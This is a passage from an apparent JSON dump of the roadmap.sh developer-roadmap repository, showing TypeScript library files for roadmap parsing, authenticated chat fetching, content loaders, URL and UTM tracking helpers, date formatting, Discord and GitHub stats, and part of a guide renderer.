currentQuestion.options.push({\n        id: nanoid(),\n        title,\n        isCorrect,\n      });\n    }\n  }\n\n  if (currentQuestion) {\n    questions.push(currentQuestion);\n  }\n\n  return questions;\n}\n\nexport type SubTopic = {\n  id: string;\n  type: 'subtopic';\n  label: string;\n};\n\nexport type Topic = {\n  id: string;\n  type: 'topic';\n  label: string;\n  children?: SubTopic[];\n};\n\nexport type Label = {\n  id: string;\n  type: 'label';\n  label: string;\n};\n\nexport type Title = {\n  id: string;\n  type: 'title';\n  label: string;\n};\n\nexport type ResultItem = Title | Topic | Label;\n\nexport function generateAICourseRoadmapStructure(\n  data: string,\n  isCourseRoadmap: boolean = false,\n): ResultItem[] {\n  const lines = data.split('\\n');\n\n  const result: ResultItem[] = [];\n  let currentTopic: Topic | null = null;\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i].trim();\n    if (line.startsWith('###')) {\n      if (currentTopic) {\n        result.push(currentTopic);\n      }\n\n      const label = line.replace('###', '').trim();\n      currentTopic = {\n        id: nanoid(),\n        type: 'topic',\n        label,\n        children: [],\n      };\n    } else if (line.startsWith('##')) {\n      result.push({\n        id: nanoid(),\n        type: 'label',\n        label: line.replace('##', '').trim(),\n      });\n    } else if (i === 0 && line.startsWith('#')) {\n      const title = line.replace('#', '').trim();\n      result.push({\n        id: nanoid(),\n        type: 'title',\n        label: title,\n      });\n    } else if (line.startsWith('-')) {\n      if (currentTopic) {\n        const label = line.replace('-', '').trim();\n\n        let id = nanoid();\n        if (isCourseRoadmap) {\n          const currentTopicIndex = result.length - 1;\n          const subTopicIndex = currentTopic.children?.length || 0;\n          id = `${currentTopicIndex}-${subTopicIndex}`;\n        }\n\n        currentTopic.children?.push({\n          id,\n          type: 'subtopic',\n          label,\n        });\n      }\n    }\n  }\n\n  if (currentTopic) {\n    result.push(currentTopic);\n  }\n\n  return result;\n}\n\nexport type ChatUIMessage = UIMessage<\n  never,\n  {\n    redirect: {\n      title: string;\n      chatId: string;\n    };\n  }\n>;\n\nexport const chatRoadmapTransport = new DefaultChatTransport({\n  api: import.meta.env.PUBLIC_API_URL + '/v1-chat-roadmap',\n  credentials: 'include',\n  fetch: fetchWithAuthHandling,\n});\n\nexport const topicDetailAiChatTransport = new DefaultChatTransport({\n  api: import.meta.env.PUBLIC_API_URL + '/v1-topic-detail-chat',\n  credentials: 'include',\n  fetch: fetchWithAuthHandling,\n});\n\nexport async function fetchWithAuthHandling(\n  input: RequestInfo | URL,\n  init?: RequestInit,\n) {\n  try {\n    const response = await fetch(input, init);\n    if (response.status === 401) {\n      Cookies.remove(TOKEN_COOKIE_NAME);\n      window?.location?.reload();\n      return null as unknown as Response;\n    }\n\n    if (!response.ok) {\n      const data = await response.json();\n      if (data?.errors) {\n        if (data?.type && data?.type === 'ai_tutor_limit_exceeded') {\n          window?.fireEvent?.({\n            action: 'tutor_credit_limit',\n            category: 'ai_tutor',\n            label: 'Tutor Credit Limit Exceeded',\n          });\n        }\n\n        throw new FetchError(response.status, data.message);\n      } else {\n        throw new Error('An unexpected error occurred');\n      }\n    }\n\n    return response;\n  } catch (error: unknown) {\n    if (typeof navigator !== 'undefined' && !navigator.onLine) {\n      throw new FetchError(503, 'Service Unavailable');\n    }\n\n    throw error;\n  }\n}\n"
  },
  {
    "path": "src/lib/auth.ts",
    "content": "import { removeAuthToken } from './jwt';\n\nexport const REDIRECT_PAGE_AFTER_AUTH = 'redirect_page_after_auth';\n\nexport function logout() {\n  localStorage.removeItem(REDIRECT_PAGE_AFTER_AUTH);\n  removeAuthToken();\n\n  // Reloading will automatically redirect the user if required\n  window.location.href = '/';\n}\n"
  },
  {
    "path": "src/lib/author.ts",
    "content": "import type { MarkdownFileType } from './file';\n\nexport interface AuthorFrontmatter {\n  name: string;\n  imageUrl: string;\n  employment?: {\n    title: string;\n    company: string;\n  };\n  social: {\n    twitter: string;\n    github: string;\n    linkedin: string;\n    website: string;\n  };\n}\n\nexport type AuthorFileType = MarkdownFileType<AuthorFrontmatter> & {\n  id: string;\n};\n\nfunction authorPathToId(filePath: string): string {\n  const fileName = filePath.split('/').pop() || '';\n\n  return fileName.replace('.md', '');\n}\n\n/**\n * Gets the IDs of all the authors available on the website\n *\n * @returns string[] Array of author IDs\n */\nexport async function getAuthorIds() {\n  const authorFiles = import.meta.glob<AuthorFileType>(\n    '/src/data/authors/*.md',\n    {\n      eager: true,\n    },\n  );\n\n  return Object.keys(authorFiles).map(authorPathToId);\n}\n\nexport async function getAllAuthors(): Promise<AuthorFileType[]> {\n  const authorFilesMap: Record<string, AuthorFileType> =\n    import.meta.glob<AuthorFileType>('/src/data/authors/*.md', {\n      eager: true,\n    });\n\n  const authorFiles = Object.values(authorFilesMap);\n\n  return authorFiles.map((authorFile) => ({\n    ...authorFile,\n    id: authorPathToId(authorFile.file),\n  }));\n}\n\nexport async function getAuthorById(id: string): Promise<AuthorFileType> {\n  const authorFilesMap: Record<string, AuthorFileType> =\n    import.meta.glob<AuthorFileType>('/src/data/authors/*.md', {\n      eager: true,\n    });\n\n  const authorFile = Object.values(authorFilesMap).find((authorFile) => {\n    return authorPathToId(authorFile.file) === id;\n  });\n\n  if (!authorFile) {\n    throw new Error(`Author with ID ${id} not found`);\n  }\n\n  return {\n    ...authorFile,\n    id: authorPathToId(authorFile.file),\n  };\n}\n"
  },
  {
    "path": "src/lib/best-practice-topic.ts",
    "content": "import type { MarkdownFileType } from './file';\nimport type { BestPracticeFrontmatter } from './best-practice';\n\n// Generates URL from the topic file path e.g.\n// -> /src/data/best-practices/frontend-performance/content/100-use-https-everywhere\n//    /best-practices/frontend-performance/use-https-everywhere\n// -> /src/data/best-practices/frontend-performance/content/102-use-cdn-for-static-assets\n//    /best-practices/use-cdn-for-static-assets\nfunction generateTopicUrl(filePath: string) {\n  return filePath\n    .replace('/src/data/best-practices/', '/') // Remove the base `/src/data/best-practices` from path\n    .replace('/content', '') // Remove the `/[bestPracticeId]/content`\n    .replace(/\\/\\d+-/g, '/') // Remove ordering info `/101-ecosystem`\n    .replace(/\\/index\\.md$/, '') // Make the `/index.md` to become the parent folder only\n    .replace(/\\.md$/, ''); // Remove `.md` from the end of file\n}\n\nexport interface BestPracticeTopicFileType {\n  url: string;\n  heading: string;\n  file: MarkdownFileType;\n  bestPractice: BestPracticeFrontmatter;\n  bestPracticeId: string;\n}\n\n/**\n * Gets all the topic files available for all the best practices\n * @returns Hashmap containing the topic slug and the topic file content\n */\nexport async function getAllBestPracticeTopicFiles(): Promise<\n  Record<string, BestPracticeTopicFileType>\n> {\n  const contentFiles = await import.meta.glob<string>(\n    '/src/data/best-practices/*/content/**/*.md',\n    {\n      eager: true,\n    },\n  );\n\n  const mapping: Record<string, BestPracticeTopicFileType> = {};\n\n  for (let filePath of Object.keys(contentFiles)) {\n    const fileContent: MarkdownFileType = contentFiles[filePath] as any;\n    const fileHeadings = fileContent.getHeadings();\n    const firstHeading = fileHeadings[0];\n\n    const [, bestPracticeId] =\n      filePath.match(/^\\/src\\/data\\/best-practices\\/(.+)?\\/content\\/(.+)?$/) ||\n      [];\n    const topicUrl = generateTopicUrl(filePath);\n\n    const currentBestPractice = await import(\n      `../data/best-practices/${bestPracticeId}/${bestPracticeId}.md`\n    );\n\n    mapping[topicUrl] = {\n      url: topicUrl,\n      heading: firstHeading?.text,\n      file: fileContent,\n      bestPractice: currentBestPractice?.frontmatter,\n      bestPracticeId: bestPracticeId,\n    };\n  }\n\n  return mapping;\n}\n"
  },
  {
    "path": "src/lib/best-practice.ts",
    "content": "import type { MarkdownFileType } from './file';\n\nexport interface BestPracticeFrontmatter {\n  jsonUrl: string;\n  pdfUrl: string;\n  order: number;\n  briefTitle: string;\n  briefDescription: string;\n  title: string;\n  description: string;\n  isNew: boolean;\n  isUpcoming: boolean;\n  dimensions?: {\n    width: number;\n    height: number;\n  };\n  seo: {\n    title: string;\n    description: string;\n    keywords: string[];\n  };\n  schema?: {\n    headline: string;\n    description: string;\n    datePublished: string;\n    dateModified: string;\n    imageUrl: string;\n  };\n}\n\nexport type BestPracticeFileType = MarkdownFileType<BestPracticeFrontmatter> & {\n  id: string;\n};\n\nfunction bestPracticePathToId(filePath: string): string {\n  const fileName = filePath.split('/').pop() || '';\n\n  return fileName.replace('.md', '');\n}\n\n/**\n * Gets the IDs of all the best practices available on the website\n *\n * @returns string[] Array of best practices file IDs\n */\nexport async function getBestPracticeIds() {\n  const bestPracticeFiles = await import.meta.glob<BestPracticeFileType>(\n    '/src/data/best-practices/*/*.md',\n    {\n      eager: true,\n    },\n  );\n\n  return Object.keys(bestPracticeFiles).map(bestPracticePathToId);\n}\n\n/**\n * Gets all the best practice files\n *\n * @returns Promisified BestPracticeFileType[]\n */\nexport async function getAllBestPractices(): Promise<BestPracticeFileType[]> {\n  const bestPracticeFilesMap = await import.meta.glob<BestPracticeFileType>(\n    '/src/data/best-practices/*/*.md',\n    {\n      eager: true,\n    },\n  );\n\n  const bestPracticeFiles = Object.values(bestPracticeFilesMap);\n  const bestPracticeItems = bestPracticeFiles.map((bestPracticeFile) => ({\n    ...bestPracticeFile,\n    id: bestPracticePathToId(bestPracticeFile.file),\n  }));\n\n  return bestPracticeItems.sort(\n    (a, b) => a.frontmatter.order - b.frontmatter.order,\n  );\n}\n\n/**\n * Gets the best practice file by ID\n *\n * @param id - Best practice file ID\n * @returns BestPracticeFileType\n */\n\nexport async function getBestPracticeById(\n  id: string,\n): Promise<BestPracticeFileType | null> {\n  const bestPracticeFilesMap = import.meta.glob<BestPracticeFileType>(\n    '/src/data/best-practices/*/*.md',\n    {\n      eager: true,\n    },\n  );\n\n  const bestPracticeFiles = Object.values(bestPracticeFilesMap);\n  const bestPracticeFile = bestPracticeFiles.find(\n    (bestPracticeFile) => bestPracticePathToId(bestPracticeFile.file) === id,\n  );\n\n  if (!bestPracticeFile) {\n    throw new Error(`Best practice with ID ${id} not found`);\n  }\n\n  return {\n    ...bestPracticeFile,\n    id: bestPracticePathToId(bestPracticeFile.file),\n  };\n}\n"
  },
  {
    "path": "src/lib/browser.ts",
    "content": "export function urlToId(url: string) {\n  return url\n    .replace(/^https?:\\/\\//, '')\n    .replace('roadmap.sh', '')\n    .replace(/localhost:[\\d]*?/, '')\n    .replace(/\\?.*$/, '')\n    .replace(/\\/$/, '')\n    .replace(/^\\//, '')\n    .replace(/[^a-zA-Z0-9]/g, '-')\n    .toLowerCase() || 'home';\n}\n\nconst LAST_PATH_KEY = 'lastPage';\n\nexport function storePathAsLastPath() {\n  if (typeof window === 'undefined') {\n    return;\n  }\n\n  const ignoredPaths = [\n    '/login',\n    '/signup',\n    '/verfication-pending',\n    '/verify-email',\n    '/forgot-password',\n  ];\n\n  if (ignoredPaths.includes(window.location.pathname)) {\n    return;\n  }\n\n  const pagePath = [\n    '/respond-invite',\n    '/befriend',\n    '/r',\n    '/ai-roadmaps',\n  ].includes(window.location.pathname)\n    ? window.location.pathname + window.location.search\n    : window.location.pathname;\n\n  localStorage.setItem(LAST_PATH_KEY, pagePath);\n}\n\nexport function getLastPath() {\n  if (typeof window === 'undefined') {\n    return;\n  }\n\n  return localStorage.getItem(LAST_PATH_KEY) || 'home';\n}\n\ntype UtmParams = Partial<{\n  utmSource: string;\n  utmMedium: string;\n  utmCampaign: string;\n  utmContent: string;\n  utmTerm: string;\n}>;\n\nexport function getUrlUtmParams(): UtmParams {\n  if (typeof window === 'undefined') {\n    return {};\n  }\n\n  const utmParams = new URLSearchParams(window.location.search);\n  const utmSource = utmParams.get('utm_source') ?? undefined;\n  const utmMedium = utmParams.get('utm_medium') ?? undefined;\n  const utmCampaign = utmParams.get('utm_campaign') ?? undefined;\n  const utmContent = utmParams.get('utm_content') ?? undefined;\n  const utmTerm = utmParams.get('utm_term') ?? undefined;\n\n  if (!utmSource || !utmCampaign) {\n    return {};\n  }\n\n  return {\n    utmSource: utmCampaign ? utmSource.toLowerCase() : undefined,\n    utmMedium: utmMedium ? utmMedium.toLowerCase() : undefined,\n    utmCampaign: utmCampaign ? utmCampaign.toLowerCase() : undefined,\n    utmContent: utmContent ? utmContent.toLowerCase() : undefined,\n    utmTerm: utmTerm ? utmTerm.toLowerCase() : undefined,\n  };\n}\n\nexport function triggerUtmRegistration() {\n  const utmParams = getStoredUtmParams();\n  if (!utmParams.utmSource) {\n    return;\n  }\n\n  localStorage.removeItem('utm_params');\n\n  window.fireEvent({\n    category: 'UserRegistration',\n    action: `Registration: ${utmParams.utmSource || 'unknown'}-${utmParams.utmCampaign || 'unknown'}`,\n    label: `Registration: ${utmParams.utmSource || 'unknown'}-${utmParams.utmCampaign || 'unknown'}`,\n  });\n}\n\nexport function getStoredUtmParams(): UtmParams {\n  if (typeof window === 'undefined') {\n    return {};\n  }\n\n  const utmParams = localStorage.getItem('utm_params');\n  if (!utmParams) {\n    return {};\n  }\n\n  return JSON.parse(utmParams);\n}\n\nexport function getUrlParams() {\n  if (typeof window === 'undefined') {\n    return {};\n  }\n\n  const params = new URLSearchParams(window.location.search);\n  const paramsObj: Record<string, any> = {};\n  for (const [key, value] of params.entries()) {\n    paramsObj[key] = value;\n  }\n\n  return paramsObj;\n}\n\nexport function parseUrl(url: string) {\n  const parser = document.createElement('a');\n  parser.href = url;\n\n  return {\n    protocol: parser.protocol,\n    hostname: parser.hostname,\n    port: parser.port,\n    pathname: parser.pathname,\n    search: parser.search,\n    hash: parser.hash,\n    host: parser.host,\n  };\n}\n\nexport function deleteUrlParam(key: string) {\n  if (typeof window === 'undefined') {\n    return;\n  }\n\n  const url = new URL(window.location.href);\n  if (!url.searchParams.has(key)) {\n    return;\n  }\n\n  url.searchParams.delete(key);\n  window.history.pushState(null, '', url.toString());\n}\n\nexport function setUrlParams(params: Record<string, string>) {\n  if (typeof window === 'undefined') {\n    return;\n  }\n\n  const url = new URL(window.location.href);\n  let hasUpdatedUrl = false;\n\n  for (const [key, value] of Object.entries(params)) {\n    if (url.searchParams.get(key) === String(value)) {\n      continue;\n    }\n\n    url.searchParams.delete(key);\n    url.searchParams.set(key, value);\n\n    hasUpdatedUrl = true;\n  }\n\n  if (hasUpdatedUrl) {\n    window.history.pushState(null, '', url.toString());\n  }\n}\n\nexport function getGclid(): string | undefined {\n  if (typeof window === 'undefined') {\n    return undefined;\n  }\n\n  const params = new URLSearchParams(window.location.search);\n  const gclid = params.get('gclid');\n  \n  if (gclid) {\n    localStorage.setItem('gclid', gclid);\n    return gclid;\n  }\n  \n  return localStorage.getItem('gclid') || undefined;\n}\n\nexport function generateSessionId(): string {\n  if (typeof window === 'undefined') {\n    return '';\n  }\n\n  const existingSessionId = sessionStorage.getItem('session_id');\n  if (existingSessionId) {\n    return existingSessionId;\n  }\n\n  const sessionId = `${Date.now()}-${Math.random().toString(36).slice(2, 11)}`;\n  sessionStorage.setItem('session_id', sessionId);\n  return sessionId;\n}\n\nexport function getPageTrackingData() {\n  if (typeof window === 'undefined') {\n    return {};\n  }\n\n  const utmParams = getUrlUtmParams();\n  const storedUtmParams = getStoredUtmParams();\n  \n  return {\n    page_location: window.location.href,\n    page_path: window.location.pathname,\n    page_referrer: document.referrer || undefined,\n    page_title: document.title,\n    user_agent: navigator?.userAgent || '',\n    screen_resolution: `${screen.width}x${screen.height}`,\n    viewport_size: `${window.innerWidth}x${window.innerHeight}`,\n    session_id: generateSessionId(),\n    gclid: getGclid(),\n    utm_source: utmParams.utmSource || storedUtmParams.utmSource,\n    utm_medium: utmParams.utmMedium || storedUtmParams.utmMedium,\n    utm_campaign: utmParams.utmCampaign || storedUtmParams.utmCampaign,\n    utm_content: utmParams.utmContent || storedUtmParams.utmContent,\n    utm_term: utmParams.utmTerm || storedUtmParams.utmTerm,\n  };\n}\n"
  },
  {
    "path": "src/lib/chat.ts",
    "content": "export const CHAT_RESPONSE_PREFIX = {\n  message: '0',\n  details: 'd',\n} as const;\n\nconst NEWLINE = '\\n'.charCodeAt(0);\n\nfunction concatChunks(chunks: Uint8Array[], totalLength: number) {\n  const concatenatedChunks = new Uint8Array(totalLength);\n\n  let offset = 0;\n  for (const chunk of chunks) {\n    concatenatedChunks.set(chunk, offset);\n    offset += chunk.length;\n  }\n  chunks.length = 0;\n\n  return concatenatedChunks;\n}\n\nexport async function readChatStream(\n  stream: ReadableStream<Uint8Array>,\n  {\n    onMessage,\n    onMessageEnd,\n    onDetails,\n  }: {\n    onMessage?: (message: string) => Promise<void>;\n    onMessageEnd?: (message: string) => Promise<void>;\n    onDetails?: (details: any) => Promise<void> | void;\n  },\n) {\n  const reader = stream.getReader();\n  const decoder = new TextDecoder('utf-8');\n  const chunks: Uint8Array[] = [];\n\n  let totalLength = 0;\n  let result = '';\n\n  while (true) {\n    const { value } = await reader.read();\n    if (value) {\n      chunks.push(value);\n      totalLength += value.length;\n      if (value[value.length - 1] !== NEWLINE) {\n        // if the last character is not a new line, we need to wait for the next chunk\n        continue;\n      }\n    }\n\n    if (chunks.length === 0) {\n      // end of stream\n      break;\n    }\n\n    const concatenatedChunks = concatChunks(chunks, totalLength);\n    totalLength = 0;\n\n    const streamParts = decoder\n      .decode(concatenatedChunks, { stream: true })\n      .split('\\n')\n      .filter((line) => line !== '')\n      .map((line) => {\n        const separatorIndex = line.indexOf(':');\n        if (separatorIndex === -1) {\n          throw new Error('Invalid line: ' + line + '. No separator found.');\n        }\n\n        const prefix = line.slice(0, separatorIndex);\n        const content = line.slice(separatorIndex + 1);\n\n        switch (prefix) {\n          case CHAT_RESPONSE_PREFIX.message:\n            return { type: 'message', content: JSON.parse(content) };\n          case CHAT_RESPONSE_PREFIX.details:\n            return { type: 'details', content: JSON.parse(content) };\n          default:\n            throw new Error('Invalid prefix: ' + prefix);\n        }\n      });\n\n    for (const part of streamParts) {\n      if (part.type === 'message') {\n        result += part.content;\n        await onMessage?.(result);\n      } else if (part.type === 'details') {\n        await onDetails?.(part.content);\n      }\n    }\n  }\n\n  await onMessageEnd?.(result);\n  reader.releaseLock();\n}\n"
  },
  {
    "path": "src/lib/classname.ts",
    "content": "import { clsx, type ClassValue } from 'clsx';\nimport { twMerge } from 'tailwind-merge';\n\nexport function cn(...inputs: ClassValue[]) {\n  return twMerge(clsx(inputs));\n}\n"
  },
  {
    "path": "src/lib/config.ts",
    "content": "export const siteConfig = {\n  title: 'Roadmaps to becoming a modern developer',\n  description:\n    'Community driven roadmaps, articles and guides for developers to grow in their career.',\n  url: {\n    twitter: 'https://twitter.com/roadmapsh',\n    youtube: 'https://youtube.com/theroadmap?sub_confirmation=1',\n    repo: 'https://github.com/kamranahmedse/developer-roadmap',\n    contribute:\n      'https://github.com/kamranahmedse/developer-roadmap/tree/master/contributing.md',\n    issue: 'https://github.com/kamranahmedse/developer-roadmap/issues/new',\n  },\n  keywords: [\n    'roadmap',\n    'roadmap.sh',\n    'developer roadmaps',\n    'developer roadmap',\n    'how to become a developer',\n    ...[\n      'frontend developer',\n      'backend developer',\n      'full stack developer',\n      'sre',\n      'devops',\n      'devops engineer',\n      'android developer',\n      'database administrator',\n      'blockchain developer',\n      'qa',\n      'qa engineer',\n      'software architect',\n      'asp.net core developer',\n      'react developer',\n      'angular developer',\n      'vue developer',\n      'node.js developer',\n      'javascript developer',\n      'python developer',\n      'go developer',\n      'java developer',\n      'design system',\n      'software design',\n      'graphql',\n      'ux design',\n      'terraform developer',\n      'sql developer',\n      'spring boot developer',\n      'php developer',\n      'ios developer',\n      'game developer',\n      'flutter developer',\n      'data analyst',\n      'aws developer',\n      'cyber security specialist',\n      'ai developer',\n      'ai engineer',\n      'ai data scientist'\n    ].flatMap((roadmapKeyword) => [\n      `${roadmapKeyword} roadmap`,\n      `${roadmapKeyword} roadmap 2024`,\n      `${roadmapKeyword} roadmap 2025`,\n    ]),\n  ],\n};\n"
  },
  {
    "path": "src/lib/date.ts",
    "content": "import dayjs from 'dayjs';\n\nexport function getRelativeTimeString(\n  date: string | Date,\n  isTimed: boolean = false,\n): string {\n  if (!Intl?.RelativeTimeFormat) {\n    return date.toString();\n  }\n\n  const rtf = new Intl.RelativeTimeFormat('en', {\n    numeric: 'auto',\n    style: 'narrow',\n  });\n\n  const currentDate = new Date();\n  const targetDate = new Date(date);\n  const diffInMilliseconds = currentDate.getTime() - targetDate.getTime();\n\n  const diffInMinutes = Math.round(diffInMilliseconds / (1000 * 60));\n  const diffInHours = Math.round(diffInMilliseconds / (1000 * 60 * 60));\n  const diffInDays = Math.round(diffInMilliseconds / (1000 * 60 * 60 * 24));\n\n  let relativeTime;\n\n  if (diffInMinutes < 60) {\n    relativeTime = rtf.format(-diffInMinutes, 'minute');\n  } else if (diffInHours < 24) {\n    relativeTime = rtf.format(-diffInHours, 'hour');\n  } else if (diffInDays < 7) {\n    if (isTimed) {\n      relativeTime = dayjs(date).format('ddd h:mm A');\n    } else {\n      relativeTime = rtf.format(-diffInDays, 'day');\n    }\n  } else if (diffInDays < 30) {\n    relativeTime = rtf.format(-Math.round(diffInDays / 7), 'week');\n  } else if (diffInDays < 365) {\n    relativeTime = rtf.format(-Math.round(diffInDays / 30), 'month');\n  } else {\n    if (isTimed) {\n      relativeTime = dayjs(date).format('MMM D, YYYY h:mm A');\n    } else {\n      relativeTime = dayjs(date).format('MMM D, YYYY');\n    }\n  }\n\n  if (relativeTime === 'this minute') {\n    return 'just now';\n  }\n\n  return relativeTime;\n}\n\nexport function formatMonthDate(date: string): string {\n  return new Date(date).toLocaleDateString('en-US', {\n    month: 'long',\n    year: 'numeric',\n  });\n}\n\nexport function formatActivityDate(date: string): string {\n  return new Date(date).toLocaleDateString('en-US', {\n    month: 'long',\n    day: 'numeric',\n  });\n}\n\nexport function getCurrentPeriod() {\n  const now = new Date();\n  const hour = now.getHours();\n  if (hour < 12) {\n    return 'morning';\n  } else if (hour < 18) {\n    return 'afternoon';\n  } else {\n    return 'evening';\n  }\n}\n"
  },
  {
    "path": "src/lib/discord.ts",
    "content": "import { siteConfig } from './config.ts';\n\nconst formatter = Intl.NumberFormat('en-US', {\n  notation: 'compact',\n});\n\nlet discordStats: any = null;\nexport async function getDiscordInfo(): Promise<{\n  url: string;\n  total: number;\n  totalFormatted: string;\n  online: number;\n  onlineFormatted: string;\n}> {\n  if (discordStats) {\n    return discordStats;\n  }\n\n  if (import.meta.env.DEV) {\n    return {\n      url: 'https://roadmap.sh/discord',\n      total: 27000,\n      totalFormatted: '27k',\n      online: 49,\n      onlineFormatted: '3.44k',\n    };\n  }\n\n  const response = await fetch(\n    'https://discord.com/api/v9/invites/cJpEt5Qbwa?with_counts=true',\n  );\n  try {\n    const json: any = await response.json();\n\n    discordStats = {\n      url: `https://discord.gg/${json.code}`,\n      total: json.approximate_member_count,\n      totalFormatted: formatter.format(json.approximate_member_count),\n      online: json.approximate_presence_count,\n      onlineFormatted: formatter.format(json.approximate_presence_count),\n    };\n  } catch (e) {\n    discordStats = {\n      url: `https://roadmap.sh/discord`,\n      total: 17000,\n      totalFormatted: '17k',\n      online: 0,\n      onlineFormatted: formatter.format(0),\n    };\n  }\n\n  return discordStats;\n}\n"
  },
  {
    "path": "src/lib/dom.ts",
    "content": "export function replaceChildren(parentNode: Element, newChild: Element) {\n  if (parentNode.replaceChildren) {\n    return parentNode.replaceChildren(newChild);\n  }\n\n  parentNode.innerHTML = '';\n  parentNode.append(newChild);\n}\n\nexport function lockBodyScroll(shouldLock: boolean) {\n  const isClient = document && 'body' in document;\n  if (!isClient) {\n    return;\n  }\n\n  if (shouldLock) {\n    document.body.classList.add('overflow-hidden');\n  } else {\n    document.body.classList.remove('overflow-hidden');\n  }\n}\n"
  },
  {
    "path": "src/lib/file.ts",
    "content": "export interface MarkdownFileType<T = Record<string, string>> {\n  frontmatter: T;\n  file: string;\n  url?: string;\n  Content: any;\n  getHeadings: () => {\n    depth: number;\n    slug: string;\n    text: string;\n  }[];\n}\n"
  },
  {
    "path": "src/lib/github.ts",
    "content": "const formatter = Intl.NumberFormat('en-US', {\n  notation: 'compact',\n});\n\nconst defaultStarCount = 224000;\nlet starCount: number | undefined = undefined;\n\nexport async function countStars(\n  repo = 'kamranahmedse/developer-roadmap',\n): Promise<number> {\n  if (starCount) {\n    return starCount;\n  }\n\n  try {\n    const repoData = await fetch(`https://api.github.com/repos/${repo}`);\n    const json = await repoData.json();\n\n    starCount = json.stargazers_count * 1 || defaultStarCount;\n  } catch (e) {\n    console.log('Failed to fetch stars', e);\n    starCount = defaultStarCount;\n  }\n\n  return starCount;\n}\n\nexport async function getFormattedStars(\n  repo = 'kamranahmedse/developer-roadmap',\n): Promise<string> {\n  const stars = import.meta.env.DEV ? defaultStarCount : await countStars(repo);\n\n  return formatter.format(stars);\n}\n\nconst defaultRanking = '7th';\nlet ranking: string;\n\nexport async function getRepositoryRank(\n  repo = 'kamranahmedse/developer-roadmap',\n): Promise<string> {\n  try {\n    const response = await fetch(\n      `https://api.github.com/search/repositories?q=stars:>100000&o=desc&s=stars`,\n    );\n    const json = await response.json();\n    const repositories = json.items || [];\n    for (let rank = 1; rank <= repositories.length; rank++) {\n      if (\n        repositories[rank - 1].full_name.toLowerCase() === repo.toLowerCase()\n      ) {\n        ranking = `${rank}${getOrdinalSuffix(rank)}`;\n      }\n    }\n  } catch (e) {\n    console.log('Failed to fetch ranking');\n    ranking = defaultRanking;\n  }\n\n  return ranking;\n}\n\nfunction getOrdinalSuffix(rank: number): string {\n  if (11 <= rank % 100 && rank % 100 <= 13) {\n    return 'th';\n  }\n  switch (rank % 10) {\n    case 1:\n      return 'st';\n    case 2:\n      return 'nd';\n    case 3:\n      return 'rd';\n    default:\n      return 'th';\n  }\n}\n\n// fetches the top languages of a GitHub repository\n// i.e. 90% of the bytes are in these languages\nexport function getTopGitHubLanguages(languages: Record<string, number>) {\n  const total = Object.values(languages).reduce((a, b) => a + b, 0);\n\n  let sum = 0;\n  let topLanguages = [];\n  for (const [language, bytes] of Object.entries(languages)) {\n    sum += bytes;\n    topLanguages.push(language);\n    if (sum / total >= 0.9) {\n      break;\n    }\n  }\n\n  return topLanguages;\n}\n"
  },
  {
    "path": "src/lib/guide-renderer.tsx",
    "content": "import { Fragment } from 'react';\nimport type { JSX } from 'react/jsx-runtime';\nimport type { JSONContent } from '@tiptap/core';\nimport { slugify } from './slugger';\nimport {\n  CodeBlockContent,\n  CodeBlockHeader,\n  CodeBlockItem,\n} from '../components/Global/CodeBlock';\nimport { QuestionsList } from '../components/Questions/QuestionsList';\n\nexport type HeadingType = {\n  level: number;\n  text: string;\n  slug: string;\n};\n\nexport type HeadingGroupType = HeadingType & { children: HeadingType[] };\n\nexport type QuestionType = {\n  id: string;\n  question: string;\n  answer: JSONContent;\n  topics: string[];\n};\n\nexport interface MarkType {\n  [key: string]: any;\n  type: string;\n  attrs?: Record<string, any> | undefined;\n}\n\nexport type GuideRendererOptions = {};\n\nexport class GuideRenderer {\n  private marksOrder = ['underline', 'bold', 'italic', 'textStyle', 'link'];\n\n  render(content: JSONContent) {\n    const nodes = content.content || [];\n    const jsxNodes = nodes\n      .map((node, index) => {\n        const component = this.renderNode(node);\n        if (!component) {\n          return null;\n        }\n\n        return <Fragment key={`${node.type}-${index}`}>{component}</Fragment>;\n      })\n      .filter(Boolean) as JSX.Element[];\n\n    return jsxNodes;\n  }\n\n  tableOfContents(node: JSONContent) {\n    const headlines = this.headlines(node);\n    let toc: HeadingGroupType[] = [];\n    let currentGroup: HeadingGroupType | null = null;\n\n    const hasQASection = node.content?.some(\n      (node) => node.type === 'qaSection',\n    );\n\n    headlines\n      .filter((heading) => heading.level !== 1)\n      .forEach((heading) => {\n        if (heading.level === 2) {\n          currentGroup = { ...heading, children: [] };\n          toc.push(currentGroup);\n        } else if (currentGroup && heading.level === 3) {\n          currentGroup.children.push({ ...heading, text: heading.text });\n        }\n      });\n\n    const qaSection = node.content?.find((node) => node.type === 'qaSection');\n    if (hasQASection && qaSection) {\n      toc.push({\n        level: 2,\n        text: 'Test yourself with Flashcards',\n        slug: 'test-with-flashcards',\n        children: [],\n      });\n\n      const questions = this.questions(qaSection);\n      const topicsInOrder = [\n        ...new Set(\n          questions\n            .map((question) => question.topics)\n            .flat()\n            .filter(Boolean),\n        ),\n      ];\n\n      toc.push({\n        level: 2,\n        text: 'Questions List',\n        slug: 'questions-list',\n        children: topicsInOrder.map((topic) => {\n          let topicText = topic;\n          let topicSlug = slugify(topic);\n          if (topic.toLowerCase() === 'beginners') {\n            topicText = 'Beginner Level';\n            topicSlug = 'beginner-level';\n          } else if (topic.toLowerCase() === 'intermediate') {\n            topicText = 'Intermediate Level';\n            topicSlug = 'intermediate';\n          } else if (topic.toLowerCase() === 'advanced') {\n            topicText = 'Advanced Level';\n            topicSlug = 'advanced';\n          }\n\n          return {\n            level: 2,\n            children: [],\n            slug: topicSlug,\n            text: topicText,\n          };\n        }),\n      });\n    }\n\n    if (toc.length > 5) {\n      toc.forEach((group) => {\n        group.children = [];\n      });\n    }\n\n    return toc;\n  }\n\n  headlines(node: JSONContent) {\n    const nodes = node.content || [];\n    const headlines: Array<HeadingType> = [];\n\n    let hasFoundQASection = false;\n    const extractHeadlines = (node: JSONContent) => {\n      if (node.type === 'qaSection' || hasFoundQASection) {\n        hasFoundQASection = true;\n        return;\n      }\n\n      if (node.type === 'heading') {\n        const text = this.getText(node);\n        headlines.push({\n          level: node.attrs?.level || 1,\n          text,\n          slug: slugify(text),\n        });\n      }\n\n      if (node.content) {\n        node.content.forEach((childNode) => {\n          extractHeadlines(childNode);\n        });\n      }\n    };\n\n    nodes.forEach((childNode) => {\n      extractHeadlines(childNode);\n    });\n\n    return headlines;\n  }\n\n  private getText(node: JSONContent): string {\n    if (node.type === 'text') {\n      return node.text || '';\n    }\n\n    if (node.content) {\n      return node.content.map((childNode) => 